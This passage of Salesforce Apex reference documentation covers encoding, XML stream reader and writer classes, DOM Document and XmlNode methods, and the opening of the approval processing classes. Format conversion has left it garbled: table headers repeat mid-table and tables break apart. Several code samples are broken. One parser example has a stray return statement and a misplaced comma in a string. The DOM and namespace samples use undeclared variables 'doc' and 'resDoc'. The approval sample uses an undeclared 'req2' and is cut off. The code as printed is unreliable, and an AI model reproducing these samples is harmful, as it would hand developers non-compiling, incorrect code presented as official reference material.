The following example illustrates how to use `convertToHex` to compute a client response for HTTP Digest Authentication (RFC2617):

```java
global class SampleCode {
    static testmethod void testConvertToHex() {
        String myData = 'A Test String';
        Blob hash = Crypto.generateDigest('SHA1', Blob.valueOf(myData));
        String hexDigest = EncodingUtil.convertToHex(hash);
        System.debug(hexDigest);
    }
}
```

**XML Classes**

Use the following classes to read and write XML content:

- **XmlStream Classes**
- **DOM Classes**

**XmlStream Classes**

Use the XmlStream methods to read and write XML strings.

- **XmlStreamReader Class**
- **XmlStreamWriter Class**
**XmlStreamReader Class**

Similar to the XMLStreamReader utility class from StAX, methods in the XmlStreamReader class enable forward, read-only access to XML data. You can pull data from XML or skip unwanted events.

The following code snippet illustrates how to instantiate a new XmlStreamReader object:

```java
XmlStreamReader xsr = new XmlStreamReader(xmlString);
```

These methods work on the following events:

- **An attribute** XML event is specified for a particular element. For example, the element `<book>` has an attribute `title`:
  ```xml
  <book title="Salesforce.com for Dummies">...
  </book>
  ```
- **A start element** XML event is the opening tag for an element, for example `<book>`.
- **An end element** XML event is the closing tag for an element, for example `</book>`.
- **A start document** XML event is the opening tag for a document.
- **An end document** XML event is the closing tag for a document.
- **An entity reference** is an entity reference in the code, for example `!ENTITY title = "My Book Title"`.
- **A characters** XML event is a text character.
- **A comment** XML event is a comment in the XML file.

Use the `next` and `hasNext` methods to iterate over XML data. Access data in XML using `get` methods such as the `getNamespace` method.

*Note:* The XmlStreamReader class in Apex is based on its counterpart in Java. See [https://stax-utils.dev.java.net/nonav/javadoc/api/javax/xml/stream/XMLStreamReader.html](https://stax-utils.dev.java.net/nonav/javadoc/api/javax/xml/stream/XMLStreamReader.html).

The following methods are available to support reading XML files:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getAttributeCount</code></td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the number of attributes on the start element. This method is only valid on a start element or attribute XML events. This value excludes namespace definitions. The count for the number of attributes for an attribute XML event starts with zero.</td>
</tr>
<tr>
<td><code>getAttributeLocalName</code></td>
<td>Integer index</td>
<td>String</td>
<td>Returns the local name of the attribute at the specified index. If there is no name, an empty string is returned. This method is only valid with start element or attribute XML events.</td>
</tr>
<tr>
<td><code>getAttributeNamespace</code></td>
<td>Integer index</td>
<td>String</td>
<td>Returns the namespace URI of the attribute at the specified index. If no namespace is specified, null is returned. This method is only valid with start element or attribute XML events.</td>
</tr>
<tr>
<td><code>getAttributePrefix</code></td>
<td>Integer index</td>
<td>String</td>
<td>Returns the prefix of this attribute at the specified index. If no prefix is specified, null is returned. This method is only valid with start element or attribute XML events.</td>
</tr>
<tr>
<td><code>getAttributeType</code></td>
<td>Integer index</td>
<td>String</td>
<td>Returns the XML type of the attribute at the specified index. For example, <code>id</code> is an attribute type. This method is only valid with start element or attribute XML events.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-------------------</td>
<td>----------------------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getAttributeValue</td>
<td>String namespaceURI</td>
<td>String</td>
<td>Returns the value of the attribute in the specified namespaceURI at the specified URI. Returns null if the value is not found. This method is only valid with start element or attribute XML events.</td>
</tr>
<tr>
<td>getAttributeValueAt</td>
<td>Integer index</td>
<td>String</td>
<td>Returns the value of the attribute at the specified index. This method is only valid with start element or attribute XML events.</td>
</tr>
<tr>
<td>getEventType</td>
<td>System.XmlTag</td>
<td>XmlTag</td>
<td>XmlTag is an enumeration of constants indicating the type of XML event the cursor is pointing to:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• ATTRIBUTE</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• CDATA</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• CHARACTERS</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• COMMENT</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• DTD</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• END_DOCUMENT</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• END_ELEMENT</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• ENTITY_DECLARATION</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• ENTITY_REFERENCE</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• NAMESPACE</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• NOTATION_DECLARATION</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• PROCESSING_INSTRUCTION</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• SPACE</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• START_DOCUMENT</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• START_ELEMENT</td>
</tr>
<tr>
<td>getLocalName</td>
<td>String</td>
<td>String</td>
<td>Returns the local name of the current event. For start element or end element XML events, it returns the local name of the current element. For the entity reference XML event, it returns the entity name. The current XML event must be start element, end element, or entity reference.</td>
</tr>
<tr>
<td>getLocation</td>
<td>String</td>
<td>String</td>
<td>Return the current location of the cursor. If the location is unknown, returns -1. The location information is only valid until the next method is called.</td>
</tr>
<tr>
<td>getNamespace</td>
<td>String</td>
<td>String</td>
<td>If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace. Returns null if the XML event does not have a prefix.</td>
</tr>
<tr>
<td>getNamespaceCount</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the number of namespaces declared on a start element or end element. This method is only valid on a start element, end element, or namespace XML event.</td>
</tr>
<tr>
<td>getNamespacePrefix</td>
<td>Integer index</td>
<td>String</td>
<td>Returns the prefix for the namespace declared at the index. Returns null if this is the default namespace declaration. This method is only valid on a start element, end element, or namespace XML event.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------</td>
<td>----------------</td>
<td>-------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getNamespaceURI</td>
<td>String Prefix</td>
<td>String</td>
<td>Return the URI for the given prefix. The returned URI depends on the current state of the processor.</td>
</tr>
<tr>
<td>getNamespaceURIAt</td>
<td>Integer Index</td>
<td>String</td>
<td>Returns the URI for the namespace declared at the index. This method is only valid on a start element, end element, or namespace XML event.</td>
</tr>
<tr>
<td>getPIData</td>
<td></td>
<td>String</td>
<td>Returns the data section of a processing instruction.</td>
</tr>
<tr>
<td>getPITarget</td>
<td></td>
<td>String</td>
<td>Returns the target section of a processing instruction.</td>
</tr>
<tr>
<td>getPrefix</td>
<td></td>
<td>String</td>
<td>Returns the prefix of the current XML event or null if the event does not have a prefix.</td>
</tr>
<tr>
<td>getText</td>
<td></td>
<td>String</td>
<td>Returns the current value of the XML event as a string. The valid values for the different events are:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• The string value of a character XML event</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• The string value of a comment</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• The replacement value for an entity reference. For example, assume getText reads the following XML snippet:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>&lt;!ENTITY Title &quot;Salesforce For Dummies&quot; &gt;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>&lt;foo a=&quot;b&quot;&gt;Name &amp;Title;&lt;/foo&gt;'</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The getText method returns Salesforce for Dummies, not &amp;Title.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• The string value of a CDATA section</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• The string value for a space XML event</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• The string value of the internal subset of the DTD</td>
</tr>
<tr>
<td>getVersion</td>
<td></td>
<td>String</td>
<td>Returns the XML version specified on the XML declaration. Returns null if none was declared.</td>
</tr>
<tr>
<td>hasName</td>
<td></td>
<td>Boolean</td>
<td>Returns true if the current XML event has a name. Returns false otherwise. This method is only valid for start element and stop element XML events.</td>
</tr>
<tr>
<td>hasNext</td>
<td></td>
<td>Boolean</td>
<td>Returns true if there are more XML events and false if there are no more XML events. This method returns false if the current XML event is end document.</td>
</tr>
<tr>
<td>hasText</td>
<td></td>
<td>Boolean</td>
<td>Returns true if the current event has text, false otherwise. The following XML events have text: characters, entity reference, comment and space.</td>
</tr>
<tr>
<td>isCharacters</td>
<td></td>
<td>Boolean</td>
<td>Returns true if the cursor points to a character data XML event. Otherwise, returns false.</td>
</tr>
<tr>
<td>isEndElement</td>
<td></td>
<td>Boolean</td>
<td>Returns true if the cursor points to an end tag. Otherwise, it returns false.</td>
</tr>
<tr>
<td>isStartElement</td>
<td></td>
<td>Boolean</td>
<td>Returns true if the cursor points to a start tag. Otherwise, it returns false.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------</td>
<td>-----------</td>
<td>-------------</td>
<td>-------------</td>
</tr>
<tr>
<td>isWhiteSpace</td>
<td>Boolean</td>
<td></td>
<td>Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.</td>
</tr>
<tr>
<td>next</td>
<td>Integer</td>
<td></td>
<td>Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks. Returns an integer which indicates the type of event.</td>
</tr>
<tr>
<td>nextTag</td>
<td>Integer</td>
<td></td>
<td>Skips any white space (the <code>isWhiteSpace</code> method returns true), comment, or processing instruction XML events, until a start element or end element is reached. Returns the index for that XML event. This method throws an error if elements other than white space, comments, processing instruction, start elements or stop elements are encountered.</td>
</tr>
<tr>
<td>setCoalescing</td>
<td>Boolean</td>
<td>Void</td>
<td>If you specify true for <code>returnAsSingleBlock</code>, text is returned in a single block, from a start element to the first end element or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.</td>
</tr>
<tr>
<td>setNamespaceAware</td>
<td>Boolean</td>
<td>Void</td>
<td>If you specify true for <code>isNamespaceAware</code>, the parser recognizes namespace. If you specify it as false, the parser does not. The default value is true.</td>
</tr>
<tr>
<td>toString</td>
<td>String</td>
<td></td>
<td>Returns the length of the input XML given to <code>XmlStreamReader</code>.</td>
</tr>
</tbody>
</table>

**XmlStreamReader Example**

The following example processes an XML string.

```java
class XmlStreamReaderDemo {
    // Create a class Book for processing
    public class Book {
        String name;
        String author;
    }

    Book[] parseBooks(XmlStreamReader reader) {
        Book[] books = new Book[0];
        while (reader.hasNext()) {
            // Start at the beginning of the book and make sure that it is a book
            if (reader.getEventType() == XmlTag.START_ELEMENT) {
                if ('Book' == reader.getLocalName()) {

                    // Pass the book to the parseBook method (below)
                    Book book = parseBook(reader);
                    books.add(book);
                }
            }
            reader.next();
        }
        return books;
    }
}
```
return books;
}

// Parse through the XML, determine the author and the characters
Book parseBook(XmlStreamReader reader) {
    Book book = new Book();
    book.author = reader.getAttributeValue(null, 'author');
    while(reader.hasNext()) {
        if (reader.getEventType() == XmlTag.END_ELEMENT) {
            break;
        } else if (reader.getEventType() == XmlTag.CHARACTERS) {
            book.name = reader.getText();
        }
        reader.next();
    }
    return book;
}

// Test that the XML string contains specific values
static testMethod void testBookParser() {
    XmlStreamReaderDemo demo = new XmlStreamReaderDemo();
    String str = '<books><book author="Chatty">Foo bar</book>' +
    '<book author="Sassy">Baz</book></books>,'
    XmlStreamReader reader = new XmlStreamReader(str);
    Book[] books = demo.parseBooks(reader);
    System.debug(books.size());
    for (Book book : books) {
        System.debug(book);
    }
}

XmlStreamWriter Class

Similar to the XMLStreamWriter utility class from StAX, methods in the XmlStreamWriter class enable the writing of XML data. For example, you can use the XmlStreamWriter class to programmatically construct an XML document, then use HTTP Classes to send the document to an external server.

The following code snippet illustrates how to instantiate a new XmlStreamWriter:

XmlStreamWriter w = new XmlStreamWriter();

Note: The XmlStreamWriter class in Apex is based on its counterpart in Java. See https://stax-utils.dev.java.net/nonav/javadoc/api/javax/xml/stream/XMLStreamWriter.html.

The following methods are available to support writing XML files:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>close</td>
<td>Void</td>
<td></td>
<td>Closes this instance of an XmlStreamWriter and free any resources associated with it.</td>
</tr>
<tr>
<td>getXmlString</td>
<td>String</td>
<td></td>
<td>Returns the XML written by the XmlStreamWriter instance.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------------------</td>
<td>----------------------------</td>
<td>-------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>setDefaultNamespace</td>
<td>String URI</td>
<td>Void</td>
<td>Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT – END_ELEMENT pair.</td>
</tr>
<tr>
<td>writeAttribute</td>
<td>String prefix String namespaceURI String localName String value</td>
<td>Void</td>
<td>Writes an attribute to the output stream. localName specifies the name of the attribute.</td>
</tr>
<tr>
<td>writeCData</td>
<td>String data</td>
<td>Void</td>
<td>Writes the specified CData to the output stream.</td>
</tr>
<tr>
<td>writeCharacters</td>
<td>String text</td>
<td>Void</td>
<td>Writes the specified text to the output stream.</td>
</tr>
<tr>
<td>writeComment</td>
<td>String data</td>
<td>Void</td>
<td>Writes the specified comment to the output stream.</td>
</tr>
<tr>
<td>writeDefaultNamespace</td>
<td>String namespaceURI</td>
<td>Void</td>
<td>Writes the specified namespace to the output stream.</td>
</tr>
<tr>
<td>writeEmptyElement</td>
<td>String prefix String localName String namespaceURI</td>
<td>Void</td>
<td>Writes an empty element tag to the output stream. localName specifies the name of the tag to be written.</td>
</tr>
<tr>
<td>writeEndDocument</td>
<td></td>
<td>Void</td>
<td>Closes any start tags and writes corresponding end tags to the output stream.</td>
</tr>
<tr>
<td>writeEndElement</td>
<td></td>
<td>Void</td>
<td>Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.</td>
</tr>
<tr>
<td>writeNamespace</td>
<td>String prefix String namespaceURI</td>
<td>Void</td>
<td>Writes the specified namespace to the output stream.</td>
</tr>
<tr>
<td>writeProcessingInstruction</td>
<td>String target String data</td>
<td>Void</td>
<td>Writes the specified processing instruction.</td>
</tr>
<tr>
<td>writeStartDocument</td>
<td>String encoding String version</td>
<td>Void</td>
<td>Writes the XML Declaration using the specified XML encoding and version.</td>
</tr>
<tr>
<td>writeStartElement</td>
<td>String prefix String localName String namespaceURI</td>
<td>Void</td>
<td>Writes the start tag specified by localName to the output stream.</td>
</tr>
</tbody>
</table>

**XML Writer Methods Example**

The following example writes an XML document and tests the validity of it.
Reference

XML Classes

Note: The Hello World script and the shipping invoice example require custom fields and objects. You can either
create these on your own, or download the objects, fields and Apex scripts as a managed packaged from Force.com
AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation.
public class XmlWriterDemo {
public String getXml() {
XmlStreamWriter w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeProcessingInstruction('target', 'data');
w.writeStartElement('m', 'Library', 'http://www.book.com');
w.writeNamespace('m', 'http://www.book.com');
w.writeComment('Book starts here');
w.setDefaultNamespace('http://www.defns.com');
w.writeCData('<Cdata> I like CData </Cdata>');
w.writeStartElement(null, 'book', null);
w.writedefaultNamespace('http://www.defns.com');
w.writeAttribute(null, null, 'author', 'Manoj');
w.writeCharacters('This is my book');
w.writeEndElement(); //end book
w.writeEmptyElement(null, 'ISBN', null);
w.writeEndElement(); //end library
w.writeEndDocument();
String xmlOutput = w.getXmlString();
w.close();
return xmlOutput;
}
public static TestMethod void basicTest() {
XmlWriterDemo demo = new XmlWriterDemo();
String result = demo.getXml();
String expected = '<?xml version="1.0"?><?target data?>' +
'<m:Library xmlns:m="http://www.book.com">' +
'<!--Book starts here-->' +
'<![CDATA[<Cdata> I like CData </Cdata>]]>' +
//make sure you put the next two lines on one line in your code.
'<book xmlns="http://www.defns.com" author="Manoj">' +
'This is my book</book><ISBN/></m:Library>';
System.assert(result == expected);
}
}

DOM Classes
DOM (Document Object Model) classes help you to parse or generate XML content. You can use these classes to work with
any XML content. One common application is to use the classes to generate the body of a request created by HttpRequest
or to parse a response accessed by HttpResponse. The DOM represents an XML document as a hierarchy of nodes. Some
nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.
The DOM classes are contained in the Dom namespace.
Use the Document Class to process the content in the body of the XML document.
Use the XmlNode Class to work with a node in the XML document.
Document Class

Use the Document class to process XML content. One common application is to use it to create the body of a request for
HttpRequest or to parse a response accessed by HttpResponse.

397


XML Namespaces

An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify element types and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon, separating the name into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a namespace. The combination of the universally managed URI namespace and the document's own namespace produces identifiers that are universally unique.

The following XML element has a namespace of http://my.name.space and a prefix of myprefix.

```xml
<sampleElement xmlns:myprefix="http://my.name.space" />
```

In the following example, the XML element has two attributes:

- The first attribute has a key of dimension; the value is 2.
- The second attribute has a key namespace of http://ns1; the value namespace is http://ns2; the key is foo; the value is bar.

```xml
<square dimension="2" ns1:foo="ns2:bar" xmlns:ns1="http://ns1" xmlns:ns2="http://ns2" />
```

Methods

The Document class has the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>createRootElement</td>
<td>String name</td>
<td>Dom.XmlNode</td>
<td>Creates the top-level root element for a document. The name argument can't</td>
</tr>
<tr>
<td></td>
<td>String namespace</td>
<td></td>
<td>have a null value.</td>
</tr>
<tr>
<td></td>
<td>String prefix</td>
<td></td>
<td>If the namespace argument has a non-null value and the prefix argument is</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>null, the namespace is set as the default namespace.</td>
</tr>
</tbody>
</table>
|                  |                   |               | If the prefix argument is '', the namespace is set as the default namespace.
|                  |                   |               | For more information about namespaces, see XML Namespaces on page 398.     |
|                  |                   |               | Calling this method more than once on a document generates an error as a   |
|                  |                   |               | document can have only one root element.                                  |
| getRootElement   |                   | Dom.XmlNode   | Returns the top-level root element node in the document. If this method   |
|                  |                   |               | returns null, the root element has not been created yet.                   |
| load             | String xml        | Void          | Parse the XML representation of the document specified in the xml argument  |
|                  |                   |               | and load it into a document. For example:                                  |
|                  |                   |               | ```xml
|                  |                   |               |     doc.load(xml);                                                        |
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>toXmlString</td>
<td>String</td>
<td>String</td>
<td>Returns the XML representation of the document as a String.</td>
</tr>
</tbody>
</table>

**Document Example**

For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns this XML response:

```
<address>
  <name>Kirk Stevens</name>
  <street1>808 State St</street1>
  <street2>Apt. 2</street2>
  <city>Palookaville</city>
  <state>PA</state>
  <country>USA</country>
</address>
```

The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request:

```java
public class DomDocument {

  // Pass in the URL for the request
  // For the purposes of this sample, assume that the URL
  // returns the XML shown above in the response body
  public void parseResponseDom(String url){
    Http h = new Http();
    HttpRequest req = new HttpRequest();
    // url that returns the XML in the response body
    req.setEndpoint(url);
    req.setMethod('GET');
    HttpResponse res = h.send(req);

    // Retrieve the root element for this document.
    Dom.XMLNode address = doc.getRootElement();
    String name = address.getChildElement('name', null).getText();
    String state = address.getChildElement('state', null).getText();

    // print out specific elements
    System.debug('Name: ' + name);
    System.debug('State: ' + state);

    // Alternatively, loop through the child elements.
    // This prints out all the elements of the address
    for(Dom.XMLNode child : address.getChildElements()) {
      System.debug(child.getText());
    }
  }
}
```

**XmlNode Class**

Use the XmlNode class to work with a node in an XML document. The DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.

**Node Types**

There are different types of DOM nodes available in Apex. XmlNodeType is an enum of these different types. The values are:
It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example:

```
<name>
  <firstName>Suvain</firstName>
  <lastName>Singh</lastName>
</name>
```

This example contains three XML elements: `name`, `firstName`, and `lastName`. It contains five nodes: the three `name`, `firstName`, and `lastName` element nodes, as well as two text nodes—Suvain and Singh. Note that the text within an element node is considered to be a separate text node.

For more information about the methods shared by all enums, see [Enum Methods](#) on page 268.

### Methods

The `XmlNode` class has the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>addChildElement</code></td>
<td>String <code>name</code></td>
<td><code>Dom.XmlNode</code></td>
<td>Creates a child element node for this node. The <code>name</code> argument can’t have a null value.</td>
</tr>
<tr>
<td></td>
<td>String <code>namespace</code></td>
<td></td>
<td>If the <code>namespace</code> argument has a non-null value and the <code>prefix</code> argument is null, the namespace is set as the default namespace.</td>
</tr>
<tr>
<td></td>
<td>String <code>prefix</code></td>
<td></td>
<td>If the <code>prefix</code> argument is null, Salesforce automatically assigns a prefix for the element. The format of the automatic prefix is <code>nsi</code>, where <code>i</code> is a number.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If the <code>prefix</code> argument is '', the namespace is set as the default namespace.</td>
</tr>
<tr>
<td></td>
<td>String <code>text</code></td>
<td><code>Dom.XmlNode</code></td>
<td>Creates a child comment node for this node. The <code>text</code> argument can’t have a null value.</td>
</tr>
<tr>
<td><code>addTextNode</code></td>
<td>String <code>text</code></td>
<td><code>Dom.XmlNode</code></td>
<td>Creates a child text node for this node. The <code>text</code> argument can’t have a null value.</td>
</tr>
<tr>
<td><code>getAttribute</code></td>
<td>String <code>key</code></td>
<td><code>String</code></td>
<td>Returns <code>namespacePrefix:attributeValue</code> for the given <code>key</code> and <code>keyNamespace</code>.</td>
</tr>
<tr>
<td></td>
<td>String <code>keyNamespace</code></td>
<td></td>
<td>For example, for the <code>&lt;foo a:b=&quot;c:d&quot; /&gt;</code> element:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• <code>getAttribute</code> returns c:d</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• <code>getAttributeValue</code> returns d</td>
</tr>
<tr>
<td><code>getAttributeCount</code></td>
<td></td>
<td><code>Integer</code></td>
<td>Returns the number of attributes for this node.</td>
</tr>
<tr>
<td><code>getAttributeKeyAt</code></td>
<td><code>Integer index</code></td>
<td><code>String</code></td>
<td>Returns the attribute key for the given <code>index</code>. Index values start at 0.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>------------------</td>
<td>----------------------------</td>
<td>-------------</td>
<td>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getAttributeKeyNsAt</td>
<td>Integer index</td>
<td>String</td>
<td>Returns the attribute key namespace for the given index. For more information, see XML Namespaces on page 398.</td>
</tr>
</tbody>
</table>
| getAttributeValue | String key                  | String      | Returns the attribute value for the given key and keyNamespace. For example, for the `<foo a:b="c:d" />` element:  
|                  | String keyNamespace         |             | • getAttribute returns c:d  
|                  |                             |             | • getAttributeValue returns d                                                                                                         |
| getAttributeValueNs | String key                  | String      | Returns the attribute value namespace for the given key and keyNamespace. For more information, see XML Namespaces on page 398.                              |
|                  | String keyNamespace         |             |                                                                                                                                                                                                         |
| getChildElement  | String name                | Dom.XmlNode | Returns the child element node for the node with the given name and namespace.                                                                                                                        |
|                  | String namespace            |             |                                                                                                                                                                                                         |
| getChildElements | Dom.XmlNode[]               |             | Returns the child element nodes for this node. This doesn’t include child text or comment nodes. For more information, see Node Types on page 399.                                                          |
| getChildren      | Dom.XmlNode[]               |             | Returns the child nodes for this node. This includes all node types. For more information, see Node Types on page 399.                                                                                      |
| getName          | String                      |             | Returns the element name.                                                                                                                                                                                  |
| getNamespace     | String                      |             | Returns the namespace of the element. For more information, see XML Namespaces on page 398.                                                                                                               |
| getNamespaceFor  | String prefix               | String      | Returns the namespace of the element for the given prefix. For more information, see XML Namespaces on page 398.                                                                                           |
|                  |                             |             |                                                                                                                                                                                                         |
| getType          | Dom.XmlNodeType             |             | Returns the node type.                                                                                                                                                                                     |
| getParent        | Dom.XmlNode                 |             | Returns the parent of this element.                                                                                                                                                                       |
| getPrefixFor     | String namespace            | String      | Returns the prefix of the given namespace. The namespace argument can’t have a null value. For more information, see XML Namespaces on page 398.                                                          |
| getText          | String                      |             | Returns the text for this node.                                                                                                                                                                           |
| removeAttribute  | String key                  | Boolean     | Removes the attribute with the given key and keyNamespace. Returns true if successful, false otherwise. For more information, see XML Namespaces on page 398.                                                |
|                  | String keyNamespace         |             |                                                                                                                                                                                                         |
| removeChild      | Dom.XmlNode                 | Boolean     | Removes the given childNode.                                                                                                                                                                             |
|                  | childNode                   |             |                                                                                                                                                                                                         |
| setAttribute     | String key                  | Void        | Sets the key attribute value.                                                                                                                                                                             |
|                  | String value                |             |                                                                                                                                                                                                         |
**setAttributeNs**

Sets the `key` attribute value. For more information, see [XML Namespaces on page 398.](#)

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setAttributeNs</td>
<td>String <code>key</code></td>
<td>Void</td>
<td>Sets the <code>key</code> attribute value. For more information, see <a href="#">XML Namespaces on page 398.</a></td>
</tr>
<tr>
<td></td>
<td>String <code>value</code></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>String <code>keyNamespace</code></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>String <code>valueNamespace</code></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**setNamespace**

Sets the `namespace` for the given `prefix`. For more information, see [XML Namespaces on page 398.](#)

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setNamespace</td>
<td>String <code>prefix</code></td>
<td>Void</td>
<td>Sets the <code>namespace</code> for the given <code>prefix</code>. For more information, see <a href="#">XML Namespaces on page 398.</a></td>
</tr>
<tr>
<td></td>
<td>String <code>namespace</code></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**XmlElement Example**

For a basic example using `XmlNode` methods, see [Document Class on page 397.](#)

The example below demonstrates usage of namespaces.

```java
public class DomNamespaceSample
{
    public void sendRequest(String endpoint)
    {
        // Create the request envelope
        DOM.Document doc = new DOM.Document();

        String soapNS = 'http://schemas.xmlsoap.org/soap/envelope/';
        String xsi = 'http://www.w3.org/2001/XMLSchema-instance';
        String serviceNS = 'http://www.myservice.com/services/MyService/';

        dom.XmlNode envelope = doc.createElement('Envelope', soapNS, 'soapenv');
        envelope.setNamespace('xsi', xsi);
        envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);

        dom.XmlNode body = envelope.addChildElement('Body', soapNS, null);
        body.addChildElement('echo', serviceNS, 'req').
            addChildElement('category', serviceNS, null).
            addTextNode('classifieds');

        System.debug(doc.toXmlString());

        // Send the request
        HttpRequest req = new HttpRequest();
        req.setMethod('POST');
        req.setEndpoint(endpoint);
        req.setHeader('Content-Type', 'text/xml');
        req.setBodyDocument(doc);

        Http http = new Http();
        HttpResponse res = http.send(req);

        System.assertEquals(200, res.getStatusCode());
        envelope = resDoc.getRootElement();

        String wsa = 'http://schemas.xmlsoap.org/ws/2004/08/addressing';
```

---

**Reference XML Classes**

- [XmlAttribute](#)
Apex Approval Processing Classes

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval.

Apex provides support for creating a programmatic approval process to extend your existing approval processes with the following:

- The Apex process classes: Use these to create approval requests, as well as process the results of those requests. For more information, see the following:
  - ProcessRequest Class on page 404
  - ProcessResult Class on page 405
  - ProcessSubmitRequest Class on page 405
  - ProcessWorkitemRequest Class on page 406

- The Approval namespace process method: Use this to submit an approval request, as well as approve or reject existing approval requests. For more information, see Approval Methods on page 292.

**Note:** The process method counts against the DML limits for your organization. See Understanding Execution Governors and Limits on page 188.

For more information on approval processes, see “Getting Started with Approval Processes” in the Salesforce online help.
Apex Approval Processing Example

The following sample code initially submits a record for approval, then approves the request. This example requires an approval process to be set up for accounts.

```apex
public class testApproval {
    
    // Insert an account
    Account a = new Account(Name='Test',annualRevenue=100.0);
    insert a;
    
    // Create an approval request for the account
    Approval.ProcessSubmitRequest req1 = new Approval.ProcessSubmitRequest();
    req1.setComments('Submitting request for approval.');
    req1.setObjectId(a.id);
    
    // Submit the approval request for the account
    Approval.ProcessResult result = Approval.process(req1);
    
    // Verify the result
    System.assert(result.isSuccess());
    System.assertEquals('Pending', result.getInstanceStatus(), 'Instance Status'+result.getInstanceStatus());
    
    // Approve the submitted request
    // First, get the ID of the newly created item
    List<Id> newWorkItemIds = result.getNewWorkitemIds();
    
    // Instantiate the new ProcessWorkitemRequest object and populate it
    req2.setComments('Approving request.');
    req2.setAction('Approve');
    req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});
    
    // Use the ID from the newly created item to specify the item to be worked
